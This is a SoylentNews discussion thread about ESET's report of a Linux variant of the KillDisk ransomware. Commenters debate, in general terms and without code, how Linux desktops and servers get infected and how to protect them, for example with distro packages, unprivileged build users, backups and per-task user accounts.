SoylentNews is people
SoylentNews
In case you penguin botherers were feeling left out, the folks over at iTWire bring us this little fun bit o' news:
Eset says it has found a Linux variant of the KillDisk malware used in the late 2015 attack on the Ukraine electricity system.
Like its Windows counterpart, the Linux version of KillDisk encrypts files, rendering the affected system unbootable. It asks for the same 222 Bitcoin (around US$278,000) ransom, but the encryption key used is neither stored locally or sent to a remote server, so even if the perpetrators are paid they have no way of reversing the process.
Eset says its researchers have found a weakness in the encryption method that makes decryption "possible, albeit difficult." Exactly how decryption can be performed was not disclosed.
It's nice to feel noticed but I could personally do without this particular kind of attention.
(Score: 2) by opinionated_science on Wednesday January 11 2017, @12:28PM
but how do you get it? Someone has to load the malware?
(Score: 0) by Anonymous Coward on Wednesday January 11 2017, @12:46PM
1. Click on every link in every spam email you receive.
2. Get malware.
3. Blame the IT guy.
4. Receive bonus for getting IT guy fired.
5. Repeat step 1.
(Score: 5, Funny) by Thexalon on Wednesday January 11 2017, @02:08PM
Like this, of course:
Now, some of you might be saying "Hey, that's too complicated". So for you people, we have an installer script that you should blindly pipe to a root shell, like this:
The only thing that stops a bad guy with a compiler is a good guy with a compiler.
(Score: 0) by Anonymous Coward on Wednesday January 11 2017, @04:01PM
Haha, very funny. (Really, no sarcasm tag here.)
Seriously, though, how does one get infected by this? Linux's security model is more robust than Windows, with few autoruns and what have you. So how would somebody be affected by this? I'm sure if they ran a binary at the command line it would work, but I don't expect that is what is happening. So what kind of attack vectors are we talking about here, and how can I protect myself?
(Score: 3, Insightful) by Thexalon on Wednesday January 11 2017, @05:25PM
One of the potential attack vectors was something I alluded to in my post: There are a number of pieces of software where the install process seems to have become "run this shell script you just downloaded as the root user". This, as you can imagine, means that said shell script can do whatever it wants to your system, including nasty things.
The way to protect yourself against that sort of thing is:
A. See if your distro has a package pre-built for whatever it is you're trying to install. If so, use that, not the shell script.
B. See if somebody else has built a package for it. If so, extract out the contents as an unprivileged user, verify that they can't do anything nefarious, and then use your package manager to install them.
C. If none of that works, then:
1. Read through the shell script.
2. Modify the shell script to install everything to a different location than the root directory (/).
3. Run the shell script as an unprivileged user.
4. Verify the software can't do anything nefarious.
5. Build a package using the package manager that came with your distro (e.g. dpkg or rpm)
6. Use your package manager to install the software.
Oh, and of course take regular backups of anything important. You are doing that, right? If you do, then ransomware is ineffective against you because you can always wipe the hard drive, reinstall the OS if needed, and restore your backup.
The only thing that stops a bad guy with a compiler is a good guy with a compiler.
(Score: 2) by shipofgold on Wednesday January 11 2017, @06:07PM
You are 100% correct on this....but this is where the argument that the "Linux security model is better" breaks down. Users will always run shit they get hoping that it will do what they think it will do.
I don't see many people, if any, getting past Step A.. Anybody attempts step B needs to be very technical to understand "anything nefarious". Those who follow these steps would probably do similar steps on Windows and be virus free there...I will grant that looking at a shell script is easier than verifying a Windows binary, but we would probably see nefarious Linux binaries distributed in these packages once too many people get familiar with Shell.
Also you can do significant damage even as an unprivileged user. I can still encrypt all of the documents/photos under this login and hold them hostage (modify C.3 to "Run as unprivileged user in chroot jail with no important files accessible...good luck on the script completing in that environment), I can still dispatch and run a SPAMbot in background, I can still run a WWW server on port 8080 and harvest stuff, and I can still probe the surrounding network and phone home.
Bottom line is where did the package come from, what are the odds that it was tampered with, and how bad do I need it?
(Score: 2) by dlb on Wednesday January 11 2017, @06:27PM
Also you can do significant damage even as an unprivileged user.
Good point. And perhaps especially as an unprivileged user. Authorization [xkcd.com]
(Score: 2) by Thexalon on Thursday January 12 2017, @03:24PM
Notice I didn't say the unprivileged user was the same unprivileged user as I did anything important with. For example, you could create a new user called "build", do the build as that user, and now that user can't see, say, everything you ever stored in your web browser cache.
The only thing that stops a bad guy with a compiler is a good guy with a compiler.
(Score: 2) by dlb on Thursday January 12 2017, @04:20PM
In the scheme every package installed on the system belongs to its own package user.
As stated in the linked article:
The general idea is to create package users, i.e. user accounts with restricted rights, to build and install software packages, rather than doing these tasks as root.
There are benefits for doing this, such as keeping track of which files belong to which package, or catching when different packages clash (like trying to install "...a binary, library or header file of the same name..."). But in addition, it also limits the trust you have to give to the dozens of package install script that are usually run as root.
(Score: 2) by mmcmonster on Wednesday January 11 2017, @09:00PM
The problem is on Linux Desktop systems the most important files are not the system files but the user ~/Documents/ folder. You don't need privilege escalation to muck that up.
(Score: 2) by Scruffy Beard 2 on Wednesday January 11 2017, @09:23PM
I have been experimenting with using multiple users for different tasks.
It does not appear to be well-tested. Windows XP's "switch user" functionally looks like it was actually hard to duplicate with GNU/Linux and Xorg.
It is almost easier to use 'su ' in the text console.
(Score: 2) by Dr Spin on Wednesday January 11 2017, @10:28PM
I cannot comment on the capabilities of WinXP, but you can login as multiple users in Linux and switch with CTRL-fx,, where X=7 for the first login, and higher numbers for later logins.
Currently it seems to go a bit wierd in Ubuntu-Mate, but it used to work quite well in the past. (And so did CTRL-f1 to f6 for consoles, but that is also a bit stuffed, and locks up).
Probably the combination of Ubuntu and systemd was a bad move, but there could be other explanations for regression failures as well.
If you want software that actually works, perhaps the BSDs are a better choice.
Warning: Opening your mouth may invalidate your brain!
(Score: 2) by Scruffy Beard 2 on Thursday January 12 2017, @12:21AM
I am supposed to be configuring FreeBSD instead of posting on the Internet :P
By default, Xorg only uses one VT. Getty uses 6 by default (as you mention)
But yes, systemd tries to do thing like change permissions for the sound card on the fly when you change users.
(Score: 0) by Anonymous Coward on Thursday January 12 2017, @11:05AM
Nope.
Getty uses one: The one specified where it gets started.
X.org uses one: The one specified where it gets started.
If you want either to use more than one, you need to start several copies.
(Score: 3, Informative) by Marand on Friday January 13 2017, @12:45PM
For the record, the AC's right: getty only uses the one it's started on, same as X. You're confusing distros choosing to start six copies of getty (as seen in /etc/inittab) on six ttys with some perceived innate property of getty that doesn't exist. If you want to, you can lower the number of spawned getty instances (useful on massively resource-limited systems), add more spawned instances of X on 8/9, or combine the two and only spawn one getty and make 2-9 be X servers. (No idea why you'd want to, though, unless you're setting up some kind of weird multi-user system where you'll have 5 people using the same system simultaneously.)
"User switching" features in DEs are doing the same thing, more or less, just dynamically. When you choose to do a user-switch, a new X server is fired up on another tty (usually 8 and up, since distros typically start the first X on 7), the current one activates whatever screen locking it does, and it switches over to the new tty. You can swap between them using the same alt-F[x] (or ctrl-alt-F[x] from inside X) hotkeys you use to swap ttys.
Switching X servers like that is overkill outside of actual multi-user systems, though; for basic separation of concerns-style account use, there are other ways that I covered in my other comment.
As for problems with term switching Dr Spin mentioned, that's most likely GPU related. For example, using an nvidia GPU with the (much faster, and generally good) proprietary driver has long been a source of frustration with regard to terminal switching, especially once it became popular to do hacky shit to make the text consoles fancier. Nvidia's drivers have never gotten along well with that, and the workaround has generally been to force the kernel to give you boring old 80x25 (or whatever) text ttys if you have problems switching. Though YMMV there; it's gotten better the past few years, and I'm currently using an nvidia GPU with the proprietary driver without tty-switching problems.
(Score: 3, Informative) by Marand on Thursday January 12 2017, @12:46AM
If you just want a full user-switch feature, that depends largely on the desktop manager (kdm, lddm, gdm, etc.) and the desktop environment. However, your comparison to su make it sound like you want something a bit more fine-grained... If that's the case, it's likely what you'd rather have is attainable either by using XPRA [xpra.org] or something like kdesu [man.cx] or gksu [man.cx].
The former, xpra, is basically like a GUI equivalent of using screen or tmux, which means that if you want, you can have multiple X servers running as different users and run different applications in different user contexts, but with all the windows usable simultaneously. The different users have their own homedirs and thus can't access each other's files, which lets you separate things as much or as little as you paranoia desires.
The latter options are just GUI wrappers around su and sudo, and work similarly to them, except that they also transfer GUI environment information like Xauth, and are thus good for running graphical applications as different users. They tend to be used for privilege elevation, same as su, but they accept the -u [username] flag, so you can do something like gksu -u scruffybeard3 chromium to run a copy of Chromium under its own user. If you've got your homedir permissions set up properly, that scruffybeard3 process won't have a way to read anything in ~scruffybeard2.
(There used to be a toolkit-agnostic option to gksu and kdesu called 'sux' but it vanished years ago, sadly.)
Either way you do it, you'll have different configuration files for each user as well, so you can also tailor the accounts to different degrees of paranoia. For example, you could have a generally locked-down "everyday browsing" user and a trusted browsing one with different security settings, more/less strict NoScript rules, etc. You can also make the different accounts stand apart visually by setting different GUI colour themes. The unsafe account could have a red tint to the GUI elements, for example.
Doing something like this is probably good enough for most things, but if you want to take it to the logical extreme, there's always Qubes [qubes-os.org], which does basically the same thing but with entire VMs dedicated to each task group you create.
(Score: 0) by Anonymous Coward on Thursday January 12 2017, @11:00AM
Yes you do. Files don't have execute privilege by default.
(Score: 2) by Grishnakh on Wednesday January 11 2017, @06:08PM
I'm still waiting for someone to point out how actual malware can really infect a Linux system.
So far, the only feasible way I know of is as a "trojan", which the other responder here details. Basically, you download some piece of software which requires you to run a shell script as root to install it, and instead of being, say, a game or some printer drivers, it's really malware. The answer here, of course, is to only install software from trusted sources, ideally your distro's repos whenever possible. In practice, this isn't a big problem, just as it isn't a big problem on the Windows platform, as long as you download stuff from reputable sources (like your printer manufacturer's website, rather than some random download site).
On Windows, the big problems seem to be with browser vulnerabilities, and with email attachments. The latter is really only a problem when running Outlook AFAICT, so that's not a problem on Linux, and I really haven't heard of any active browser exploits on Linux though I suppose it's possible.
(Score: 2) by Thexalon on Wednesday January 11 2017, @07:57PM
Another attack vector that could and sometimes has worked:
1. Use an exploit in a server application (e.g. BIND or Apache) to gain unprivileged access.
2. From that unprivileged account, use a privilege escalation exploit to become root.
3. Once you are root, replace the kernel and/or whatever else you need to with a version that both gives you a backdoor onto the system and hides its own existence (a rootkit, in other words).
The more of a monoculture you have, the easier it is to pull this off. For example, if you're running a popular distribution and are a bit lax on updating your servers to the latest version, that's a greater risk than if you're running the latest version that you compiled yourself.
The only thing that stops a bad guy with a compiler is a good guy with a compiler.
(Score: 2) by Grishnakh on Wednesday January 11 2017, @10:04PM
Yeah, but the problem here is we're talking about malware that seems to target desktop users, not servers. Desktop users don't run server applications, certainly not exposed to the internet. Servers are, of course, going to have more attack vectors like that because they run services which are exposed to the internet. Desktops don't; they generally sit behind firewalls and their only exposure to the internet is through web browsers and email, and maybe a few other things like ssh, FTP, etc. which are direct to specific hosts.
(Score: 2) by shipofgold on Wednesday January 11 2017, @09:50PM
I am not sure why people thing that Linux users are immune to malicious Email attachments or other exploits. Sure, the payloads of most of those "here is your invoice" attacks target something in Windows, but IMHO there is nothing sacred about Linux. If SPAM Email attachments with payloads targeted to Linux start getting received by Linux users you will see more infections.
There are three primary modes of infection on any system:
--Exploit a vulnerability in a binary that is running on the system. I am sure there are plenty of unpatched shellshock systems out there.
--get the user to execute a Trojan. Most of the Email attachment and Browser attacks do something in this area...
--brute force a weak password or social engineer one out of a user.
I am sure that if the target population is large enough, the bad guys will come.
I do agree that it would have been nice for the authors of TFA to at least describe any observed transmission technique. In my limited experience with Ransomware on windows, it is many times a trojan that is activated by a browser popup that says something like "You must update your Adobe Acrobat Reader...Download here"
It is a simple tweak to target Linux users with this type of exploit.
(Score: 2) by Grishnakh on Wednesday January 11 2017, @10:46PM
You're going to have to explain exactly how, in detail.
I've never seen a way to run a downloaded binary on my Linux systems, without jumping through hoops. Downloading by itself is certainly easy enough. Actually running it? Not so much. You have to get the user to change the permissions to allow execution, then they have to actually run the thing (at the command line or through a file-manager program). Any user clued in enough to understand Unix permissions and know how to change them for executing a foreign file is pretty likely to know better than to run some random crap off the internet.
So no, I completely disagree that it is a "simple tweak" to target Linux users with this type of exploit. Maybe if someone makes a browser that makes it really easy to auto-run downloaded files, but distros are unlikely to allow such a browser in their builds because of the obvious security problems.
Now one thing malware writers could do is target vulnerabilities in installed applications, and then get Linux users to download malware files and use the browser's "Open with..." function to open them with the exploited application. But this isn't so easy on Linux, because it's so heterogeneous. There's tons of different ways a trojaned PDF could be opened, for instance: using the browser's own built-in viewer, or with various different FOSS viewers (evince, okular, etc.), or with FoxIt's Linux version. Adobe doesn't even have a Linux version of their reader any more. Or for a trojaned image file, there's all kinds of image-viewing programs out there that may be set up as default, and there's different backend libraries. On top of that, there's a bunch of different distros, all with libraries built by their own maintainers, and they all get regular updates of libraries like that too. It's such a spread-out, un-standardized moving target that malware writers aren't likely to get far with this approach.
(Score: 3, Informative) by Scruffy Beard 2 on Thursday January 12 2017, @12:53AM
.desktop files bypass the permission requirements
How to write a Linux virus in 5 easy steps [geekzone.co.nz]
(Score: 0) by Anonymous Coward on Thursday January 12 2017, @11:09AM
That would be a hole in Gnome or KDE, not in Linux. No different from a bug in Flash or Adobe Reader.
(Score: 2) by Grishnakh on Thursday January 12 2017, @05:52PM
Sorry, this is lame. I just tried this myself on a Gnome3 system at work. It works, but only sorta.
First, this article is from 2009. It's 8 years old now. A lot has changed since then. The article doesn't even talk about whether it works on Unity or not, probably because I'm not even sure Unity was around way back then. And they didn't have Gnome3 or KDE5 back then either.
Anyway, I tried it on Gnome3, and it doesn't work as advertised. The icon part didn't work at all (I verified the path, and changed it to an icon that's actually there, because no one uses OpenOffice.org any more in 2017). And the item showed on on the desktop as filename.ext.desktop, which is a bit of a red flag. It doesn't show up as filename.ext like the common exploit on Windows which takes advantage of Windows defaulting to hiding the extension. They don't do that kind of stupid stuff on Linux, even in dumbed-down Gnome. Finally, yes, I was able to run a shell command this way without changing permissions, however Gnome first brought up a giant warning message telling me that this application launcher is untrusted and that it's unsafe to launch it if you don't know the source of the file. On top of all that, the icon didn't even show up on my desktop until I moved it to my home directory (not ~/Desktop), though that might be a site-specific setting.
In short, you'd have to be a real idiot to get infected this way. It takes more than just saving a file to get infected on Linux. The similar exploit on Windows is a lot worse: 99.999% of Windows systems are set to hide file extensions by default, so it's easy to make shortcuts that look like some other kind of file (like a JPEG). And worse, Windows happily executes them when double-clicked, without any kind of warning that you're being conned. As I've shown, this simply isn't the case on Linux, even on Gnome3.
And that's just one DE. How this would behave under a modern version of Cinnamon, MATE, Unity, KDE4, or KDE5 is still unknown. There just isn't that much consistency between Linux systems these days, and different distros also set things up differently.
(Score: 1) by Scruffy Beard 2 on Thursday January 12 2017, @11:00PM
Yes, don't know who thought it was a good idea to hide extensions by default.
I suspect they were trying to copy MacOS, which at the time stored that information in the resource fork of the file, rather than the filename.
Don't think most modern systems even have a concept of a resource fork.
(Score: 2) by urza9814 on Friday January 13 2017, @04:48PM
So what happens when it hits a Linux system like mine that doesn't support .desktop files? Oh, right -- nothing.
Every Linux user is vaccinated -- against different sets of viruses -- merely by having a different base configuration and different software packages installed. Much like regular vaccines, you can get a kind of herd immunity because the virus can't spread as easily. It's also not as worthwhile to create the virus in the first place because the target is smaller.
And this is why SystemD is going to kill us all...because it seeks to remove that freedom and standardize on one single software package to rule them all. :)
(Score: 1) by Scruffy Beard 2 on Friday January 13 2017, @08:54PM
I think that was part of the point: if you try to copy MS Windows, you are going to end up copying their mistakes as well.
(Score: 0) by Anonymous Coward on Thursday January 12 2017, @07:22PM
I am sure that if the target population is large enough, the bad guys will come.
Are you aware the Linux is the most used kernel on the planet?
(Score: 2, Insightful) by RS3 on Wednesday January 11 2017, @05:14PM
I like Thexalon's funny response.
And seriously, I see these kinds of "news" stories constantly but NEVER is there a useful clear piece of information. So much general writing and babble but no nuts-and-bolts info that a sysadmin needs:
What is the malware? Is it a binary executable, a script (Bash, php, c-shell, perl, Python...), java, javascript????
How does one get it, an email attachment, javascript from a website, ftp or ssh "back door" / hack login????
Where can I find it in my computers; where will the primary malware reside? And in what directories will it commit its crimes????
Why has "tech" news become so non-tech?
(Score: 2) by HiThere on Wednesday January 11 2017, @06:51PM
Most of that is trivially changable. What wouldn't be is "does it need to be installed by root?" If it can be installed by an unprivileged user (even if only to corrupt their account), then the number of modes of install is horrendous. If it needs a root install, then there are a LOT fewer modes of infection.
The really interesting information included is that even were you to pay them, there's no way for them to decrypt your system.
Javascript is what you use to allow unknown third parties to run software you have no idea about on your computer.